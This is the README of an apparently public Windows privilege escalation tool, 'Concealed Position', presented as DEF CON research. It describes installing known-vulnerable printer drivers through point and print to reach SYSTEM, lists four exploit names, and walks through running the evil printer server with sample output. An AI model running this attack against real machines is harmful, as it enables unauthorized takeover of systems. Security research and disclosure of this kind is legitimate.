jacob-baines/concealed_positionBring your own print driver privilege escalation tool
Concealed Position is a local privilege escalation attack against Windows using the concept of "Bring Your Own Vulnerability". Specifically, Concealed Position (CP) uses the as designed package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with known vulnerabilities which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29.
Concealed Position offers four exploits - all with equally dumb names:
The exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver's certificate - something that is not(?) historically done.
Probably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere.
Concealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
It is important to note that SLASHINGDAMAGE doesn't actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I'd leave the exploit in my evil server... as confusing as that may be.
Arguably, yes. The driver store is a "trusted collection of ... third-party driver packages" that requires administrator access to modify. Using GetPrinterDriver a low privileged attacker can stage arbitrary drivers into the store. This, to me, crosses a clear security boundary.
Microsoft seemed to agree when they issued CVE-2021-34481.
Although... it's arguable that this is simply a feature of the system and not a vulnerability at all. It really doesn't matter all that much. An attacker can escalate to SYSTEM on standard Windows installs.
At least Windows 8.1 and above.
Simple! So simple there will be many paragraphs to describe it!
First, let's look at cp_server's command line options:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Above you can see the server requires two options:
For example, let's say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
And that's it, you'll see a new printer on your system:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer